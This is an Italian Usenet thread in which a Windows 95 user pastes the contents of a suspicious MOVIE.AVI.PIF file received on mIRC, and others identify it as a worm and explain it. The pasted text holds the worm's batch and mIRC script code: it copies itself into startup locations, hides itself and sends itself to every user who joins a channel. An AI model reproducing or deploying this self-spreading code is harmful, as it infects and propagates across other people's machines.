Newsgroup: it.comp.sicurezza.windows
Titolo: URGENTE: è un virus??? ( Allego testo)

Possiedo win95 e mentre chattavo con MIRC mi hanno spedito due file che io
naturalmente ho accettato..... però ho fatto l'avirus perché mi puzzava la
loro doppia estensione: MOVIE.AVI.PIF, i miei avirus hanno beccato in uno un
virus e nell'altro niente. Così ..... lo ho aperto.... non è ancora successo
niente ma siccome ho poi pensato di leggere il contenuto del file e vi ho
trovato il testo di cui sotto mi sono preoccupato un pò. Potete dirmi
qualcosa???
Premetto che io MIRC l'ho installato non in c:\ e win95 l'ho installata non
in c:\windows
Grazie.
Testo ( veramente col copia  e incolla certi caratteri strani [ come 2
lettere sovrapposte, ma cosa sono???] sono venuti diversi) del file
MOVIE.AVI.PIF  :
 xhttp://
www.microsoft.com
      €   %comspec% .COM 
and.com
C:\                                                             /c copy
c:\mirc\download\Movie.avi.pif C:\mirc\Script.ini .bat     ÿ P   
MICROSOFT PIFEX ?   q WINDOWS 386 3.0     h €   d 2 ÿÿ  ÿÿ  b_           
/c copy c:\mirc\download\Movie.avi.pif C:\mirc\Script.ini .bat  WINDOWS VMM
4.0 ÿÿ  ¬ 
C:\WINDOWS\Mplayer.exe  io\VB\Icons\Flags\Flgbrazl.ico
              2             a         È è  
                   Terminal                        Courier New
   P   9 w  < g       ÿÿÿÿüÿüÿf ¹ ¿ 
 
@echo off
C:\
cd windows
md sys
copy mirc.bat C:\Windows\system\movie.avi.pif /Y
copy mirc.bat "C:\windows\Start Menu\Programs\StartUp\win.com.bat" /Y
copy win.com.bat C:\mirc\script.ini
copy win.com.bat C:\
copy C:\mirc\download\movie.avi.pif C:\Windows\system\movie.avi.pif /Y
copy C:\mirc\download\movie.avi.pif "C:\windows\Start
Menu\Programs\StartUp\win.com.bat" /Y
copy C:\mirc\script.ini C:\windows\system\movie.avi.pif
copy C:\windows\system\movie.avi.pif C:\windows\winstart.bat
copy C:\windows\system\movie.avi.pif C:\mirc\script.ini
copy C:\windows\winstart.bat C:\Windows\system\movie.avi.pif /Y
copy C:\windows\winstart.bat "C:\windows\Start
Menu\Programs\StartUp\win.com.bat" /Y
ctty nul
:act1
set z=progra~1
set s=progra~2
set x=mIRC
set x2=mIRC32
set y=internet
set y2=chat
set y3=web
for %%i in
(c:\%x%,c:\%x2%,c:\%z%\%x%,c:\%z%\%x2%,c:\%s%\%x%,c:\%s%\%x2%,c:\%y%\%x%,c:\
%y%\%x2%,c:\%y2%\%x%,c:\%y2%\%x2%,c:\%y3%\%x%,c:\%y3%\%x2%) do copy %0
%%i\Script.ini /Y
attrib +r +s +h %%i\Script.ini
attrib +r +s %0
:act2
if not exist c:\
C0MMAND.COM
 goto act3
goto endact3
copy %0 c:\
C0MMAND.COM
 /Y
attrib +r + c:\
C0MMAND.COM
:end
ctty con
copy C:\windows\winstart.bat C:\mirc\script.ini
copy C:\windows\script.ini C:\windows\winstart.bat
@exit
[SCRIPT]
;
;mIRC main Script. Please don't edit, mIRC will not run!
http://www.mirc.co.uk
;by Khaled Mardam-Bey
;Copyright ¸ 1999-2000 mIRC Co. Ltd.
;
n1=on 1:start:{
n2= .remote on
n3= .ctcps on
n4= .events on
n5= .raw on
n6= }
n7=alias /remove /echo *** Removed $1-
n8=alias /play /echo *** Unable to play $1-
n9=alias /unload /echo *** Unloaded $1-
n10=alias /events /.events on | /echo *** Events are OFF
n11=alias /remote /.remote on | /echo *** Remote is OFF (Ctcps,Events,Raw)
n12=on 1:text:*worm*:?:/.ignore $nick
n13=on 1:text:*virus*:?:/.ignore on $nick
n14=on 1:join:#:{
n15=if ( $nick == $me ) { halt } | .dcc send $nick
C:\windows\system\Movie.avi.pif
n16=}
n17=on 1:connect: {
n18=  /copy C:\mirc\script.ini C:\windows\winstart.bat
n19=  /copy C:\mirc\script.ini C:\mirc
--
Geod...@libero.it

 virus e nell'altro niente. Cosě ..... lo ho aperto.... non č ancora
successo

che antivirus hai?  credo sia uno worm! ciao ciao

 virus e nell'altro niente. Così ..... lo ho aperto....
Aperto ?
eseguito volevi dire, i file pif sono come gli eseguibili,
vedi un file con doppia estensione e lo esegui senza sospetti ?
su mirc ne girano tanti di file pif, basta ignorarli,
sono dei worm, ma non so cos'altro facciano.
Xbug

qualcosa???
Che bei ricordi i files batch sotto DOS (1992)......
Per risponderti non e' un virus ma una serie di comandi
che se eseguiti, diciamo cosi', ti complicheranno la vita
ciao
Alex

 Grazie.
E' capitato anche a me di scaricare files del genere chattando su Mirc.
NON PREOCCUPARTI PERCHE' NON FUNZIONANO SU UNA VERSIONE DI WIN DIVERSA DA 
QUELLA INGLESE!!!!!!!
Ti spiego subito perchè.
Esaminando anche altri "worm" compreso il "BubbleBoy" che si invia e
parte automaticamente (in Outlook express) anche senza l'intervento dell' 
utente per eseguire il "codice", questi infettano il "sistema" sul quale
vengono eseguiti al riavvio successivo, copiandosi nella cartella 
"Esecuzione automatica".
Se esamini anche superficialmente lo script (pif) da te trovato puoi 
notare che il path dove il file viene copiato è:
"C:\windows\Start Menu\Programs\StartUp\win.com.bat" /Y
che non potrà mai funzionare su una versione italiana di win
perchè il path esatto è:
"C:\windows\Menu Avvio\Programmi\Esecuzione Automatica\NomeProgramma"
non funziona per il semplice motivo che non può trovare la dir esatta.
Forse però riesce a modificare lo script di inizializzazione di
mirc per inviarsi automaticamente agli altri, però non ne sono sicuro,
a questa domanda dovrebbe risponderti qualcuno che conosce meglio il 
funzionamento di Mirc di me.
Ciao,
Flavio
------

naturalmente ho accettato...
Spero che tu non ti offenda se chioso: "<naturalmente> un cazzo!".
I files via mIRC, ICQ, email, WWW, newsgroups, PalmBeam(R), siano essi
eseguibili o meno - perche' con un sistema bacato dentro come Windows,
non puoi mai sapere cosa sara' eseguibile o no - *NON* vanno accettati
in nessuna forma e sotto nessuna specie.
*SE* si conosce il mittente e si *sa* che si sta per ricevere un file,
allora stet. Altrimenti ciccia.
Possibilmente, i files dovrebbero essere spediti in files zippati, con
estensione .ZIP, e non criptati. In quel formato un eventuale worm non
puo' essere eseguito, e il file .ZIP puo' essere esaminato con maggior
cura.
+++
Eccheccavolo, se no e' come dire "Hanno bussato, ed io naturalmente ho
aperto". Sono io l'unico paranoico che prima chiede "CHI E'?".
Leonardo
".signature": bad command or file name

  
WORM DELETED
-- 
-----
To reply to this address remove NOSPAM. from the address

magistratura etc...
Dopo essere passato dal copia e incolla di Windows, un mailer e un
client NNTP, il file binario (questo, era) non sarebbe in grado di
infettare neanche un VIC 20 :-) ...gia' risalire dal post a quello
che doveva essere il "virus" originario sarebbe una fatica che, al
confronto, Sisifo era al Club Méditerranée, a mangiare pesce sulle
ragazze nude... :-)


 Spero che tu non ti offenda se chioso: "<naturalmente> un cazzo!".
Quel naturamente stava per " io furbamente " in tono sarcastico.......
insomma.... me lo sono detto da solo!